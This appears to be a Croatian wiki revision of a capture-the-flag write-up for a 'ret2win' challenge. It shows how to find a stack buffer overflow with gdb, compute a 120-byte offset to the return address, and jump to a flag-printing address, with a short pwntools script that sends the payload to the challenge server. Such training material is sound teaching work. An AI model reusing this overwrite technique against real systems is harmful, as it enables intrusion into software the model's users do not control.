User Tools

Site Tools


ret2win

This is an old revision of the document!


Tajne vanilije

Rješenje:

Cilj zadatka je ispisati flag. Analizom main.c datoteke vidljivo je da se u liniji:

fgets(buf, PASSWORD_SIZE, stdin); 

upisuje u buf (veličine 100) 200 znakova. Time je omogućen stack based buffer overflow. Kako bi se unio ispravan payload, potrebno je analizirati binarnu datoteku main.

Najprije pokrenite gdb:

gdb main

Zatim disassemble main funkcije:

disas main

Unutar main.c datoteke, ispis flaga se događa na liniji:

puts(flag);

To je četvrti puts po redu i nalazi se na adresi 0x40134a. Iz tog razloga, potrebno je preplaviti povratnu adresu za vrijeme unosa lozinke kako bi se izvršio navedeni poziv puts na adresi 0x40134a. Kako bi se ispravno izvršio, potrebno ga je pozvati s ispravnim argumentima, što čini instrukcija na adresi 0x401345 (postavlja u edi registar adresu stringa za flag) Dakle, ispis flag biti će izvršen ako procesor krene izvođenje instrukcija od adrese 0x401345, što je onda I cilj postaviti kao povratnu adresu na stogu.

Padding:

Kako bi se odredio padding za payload, potrebno izračunati razliku od adrese za početak unosa do povratne adrese. Prvo moramo postaviti breakpoint nakon unosa lozinke. Zato prvo:

disas provjeri_lozinku

Tražimo 2. fgets po redu I on se nalazi na adresi 0x401285, zbog čega unosimo breakpoint na prvu instrukciju nakon nje:

b *0x40128a

Pokrenemo program, unesemo username I zatim za password unos koji ćemo prepoznati, recimo “AAAA” (0x41414141).

Nakon breakpointa, pogledamo vrijednosti na stogu:

x/200xb $rsp

Vidimo da vrijednosti (0x41414141) kreću od vrha stoga na adresi 0x7fffffffdea0. Kako bi saznali gdje je pohranjena povratna adresa upišemo naredbu:

i f (tj. info frame)

U vraćenom odgovoru vidljivo je “Rip at 0x7fffffffdf18”

Razlika te dvije adrese jest 0x7fffffffdf18 – 0x7fffffffdea0 = 120(10). To znači da prije preplavljivanja povratne adrese s ciljnom moramo unijeti 120 bajtova (npr. char 'A').

Primjer rješenja uz pomoć PWN tools-a

PWN tools - python


  from pwn import*
  p = remote("chal.platforma.hacknite.hr",11002)
  payload = b"\n" + b"A"*120 #padding
  payload += p64(0x401345) #return address
  payload += b"\n" # izlazak iz veze
  p.writeline(payload)
  answer = p.readall()
  print(answer.decode())
ret2win.1701961038.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki